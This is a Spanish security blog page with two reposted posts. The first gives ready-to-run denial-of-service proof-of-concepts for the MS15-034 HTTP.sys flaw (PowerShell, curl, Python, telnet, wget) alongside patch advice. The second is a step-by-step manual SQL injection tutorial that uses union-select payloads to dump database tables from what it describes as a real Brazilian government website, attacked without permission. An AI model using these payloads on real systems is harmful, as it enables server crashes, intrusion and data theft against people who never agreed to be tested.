Mostrando entradas con la etiqueta http. Mostrar todas las entradas
Mostrando entradas con la etiqueta http. Mostrar todas las entradas

jueves, 16 de abril de 2015

MS15-034: parchea ya o muere!


Mattias Geniar ha revelado la aparición de exploits para una vulnerabilidad crítica en HTTP.sys (CVE-2015-1635) de Microsoft Windows que podría permitir a un atacante ejecutar código arbitrario o causar una denegación de servicio.

"Existe una vulnerabilidad de ejecución remota de código en la pila del protocolo HTTP (HTTP.sys) que es causada cuando HTTP.sys analiza de forma incorrecta la sintaxis de ciertas solicitudes HTTP especialmente diseñadas. Un atacante que aproveche esta vulnerabilidad podría ejecutar código arbitrario en el contexto de la cuenta del sistema", en el Microsoft Security Bulletin MS15-034.

"Para aprovechar esta vulnerabilidad, un atacante tendría que enviar una solicitud HTTP especialmente diseñada al sistema afectado. La actualización corrige la vulnerabilidad al modificar la forma en que la pila HTTP de Windows maneja las solicitudes".

Precisamente, Mattias alertó que los primeros fragmentos de código para explotar MS15-034 en IIS están empezando a surgir, y lo peor, es trivial ejecutarlo y los resultados pueden ser catastróficos. Por ejemplo, conseguir que un servidor Win2k12 (y versiones posteriores) se caiga (BOYD) o se reinicie mediante una sóla petición HTTP:

- powershell:
powershell -com {$wr=[Net.WebRequest]::Create('http://127.0.0.1/iisstart.htm');$wr.AddRange('bytes',18,18446744073709551615);$wr.GetResponse();$wr.close()}

- curl:
$ curl -v 10.0.1.1/ -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

- un simple Python:
#Tested on Win Srv 2012R2.
import socket,sys
 
if len(sys.argv)<=1:   
 sys.exit('Give me an IP')
 
Host = sys.argv[1]
 
def SendPayload(Payload, Host):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect((Host, 80))
   s.send(Payload)
   s.recv(1024)
   s.close()
 
#Make sure iisstart.htm exist.
Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
 
SendPayload(Init, Host)

- O incluso mediante un simple telnet:
$ telnet 10.0.1.1 80
GET / HTTP/1.1
Host: stuff
Range: bytes=0-18446744073709551615

- También enviando una petición a /welcome.png (2008 R2) o /iis-85.png (Windows Server 2012/R2):
wget --header="Range: bytes=18-18446744073709551615" http://blah-2012-server.com/iis-85.png

Ya véis la facilidad que supone probar estas simples PoC así que ya sabéis... actualizar las firmas de vuestros IPS, de vuestro WAFs y, sobretodo y si todavía no lo has hecho, ¡actualiza el IIS y los servidores Windows tan pronto como sea posible!

pd. Podéis comprobar si los servidores de vuestra LAN con este script de Nmap:
https://github.com/cldrn/nmap/blob/master/scripts/http-vuln-cve2015-1635.nse

Fuentes:
- Remote Code Execution Via HTTP Request In IIS On Windows
- Microsoft Window - HTTP.sys PoC (MS15-034)
- Microsoft Security Bulletin MS15-034 - Critical
- Exploit Code Emerging for Windows HTTP.sys Vulnerability – Patch Now!

- Metasploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb)
- [NSE] Script to detect remote code execution in Microsoft Windows systems (MS15-034)

 Fuente: http://www.hackplayers.com/2015/04/ms15-034-parchea-ya-o-muere.html

miércoles, 4 de marzo de 2015

INYECCION SQL LIVE HTTP


Hola amigos de blacklast-security como verán en este post les vengo a explicar como explotar una base de datos mediante consultas y sentencias manualmente pero está vez ya sería de una forma distinta usando el complemento firefox add-nos Live HTTP Headers, bueno como verán soy un chico de 10 años de edad muchos no creen(no soy hacktivista ni mucho menos parte de anonymous), soy un lector y he aprendido mucho en este mundo de la informática la verdad ignoro mucho a la gente creida y tampoco no me importa lo qué digan los demás, me baso básicamente en la programación, criptografía, pentesting web, Ingeniería social, Ingeniería Inversa, bueno entonces empezemos  :P .
¿Como qué en metodo Post?
Pués esta vez para utilizar este metodo necesitariamos el complemento add-nos para Mozilla Firefox (Live HTTP Headers), este complemento lo que hace es capturar las cabeceras y el tráfico de donde nosotros hemos entrado además también podremos ver nuestras cookies, bueno empezemos como verán mi victima será la web del gobierno de Brasil pero no la mostrare ya por seguridad.
Bueno entonces comenzemos como explique antes, para este metodo necesitariamos alguna barra de busqueda para comenzar a consultar la base de datos, bueno entonces como podrán ver encontre una barra de busqueda entonces en esa barra colocare cualquier número y nos aparecerá lo siguiente en el complemento add-nos Live HTTP Headers.


Vale y como ven nos ha capturado la cabeceras y ahora haremos lo siguiente, en la primera barra donde aparecera la URL daremos a repetir y nos aparecerá lo siguiente.


Bueno y como vemos la repetición esta en contenido "POST", ahora como vemos en el contenido post nos apareció "busca=1", okey entonces colocaremos una tilde y veremos si es vulnerable o no.


Y como podremos ver es vulnerable la website !, ahora colocaremos lo siguiente para comenzar a consultar la base de datos, comenzaremos colocando "order by unnúmero--+" donde dice unnúmero es donde elegiremos cualquier número que nosotros queramos otra cosa para saber si esta es la columna o no es la columna a veces nos aparecerá nada, algunas otras veces nos aparecerá error algunas otras veces nos aparecerá "Unkown Column" y cuando es la columna pués no tiene que aparecer el complemento completo de la página web, bueno comenzemos colocando "order by 8--+"


Bueno y como vemos no es la columna ahora probemos con "order by 7--+" haber si esta es la columna.


Y como vemós esta si es la columna !, ahora pondremos lo siguiente para que nos comienze a dar las consultas de la base de datos, colocaremos "union select 1,2,3,4,5,6,7--+" sin las comillas y nos aparecerá lo siguiente.
Y como vemós nos apareció el número "2" entonces ese es el que elegiremos para comenzar a consultar la base de datos, entonces borraremos el número "2" y pondremos lo siguiente.
Código: [Seleccionar]
union select 1,group_concat(0x3c62723e,table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()--+
Y como verán en la imagen esas son las tablas de la base de datos, ya casi llegamos al último paso, bueno entonces elegiremos la tabla "categorias" para evitarnos problemas al públicar los datos del administrador, okey entonces ahora haremos pondremos lo siguiente.
Código: [Seleccionar]
union select 1,group_concat(0x3c62723e,column_name),3,4,5,6,7 from information_schema.columns where table_name=0x63617465676f72696173--+
Como verán el 0x no significa nada pero el "63617465676f72696173" es el nombre de categorias y como lo encodie, pués muy fácil como se me habia olvidado antes también necesitariamos el complemento HackBar, y en que parte de la sección lo encodeo?, pués muy fácil les pasaré una imagen de la sección.



Le daremos click pondremos el nombre de la tabla y listo estará encodeado, bueno ahora siguamos, colocamos lo que escrbí y nos quedaría así.


Y como vemos nos ha aparecido las columnas de la tabla categorias (id, nome), y como vemos en la imagen solo hay dos entonces pondríamos lo siguiente para completar el resultado de las consultas al sacar la base de datos.
Código: [Seleccionar]
busca=1' union select 1,group_concat(0x3c62723e,0x3d,id,0x3d,nome),3,4,5,6,7 from categorias--+


Y como vemos nos ha sacado la información de la columna !, otra cosa el "0x3d" significa el signo (=) pero en forma en hexadecimal
 
Fuente:
 http://pentest-angelwhite.blogspot.com/2014/07/inyeccion-sql-live-http.html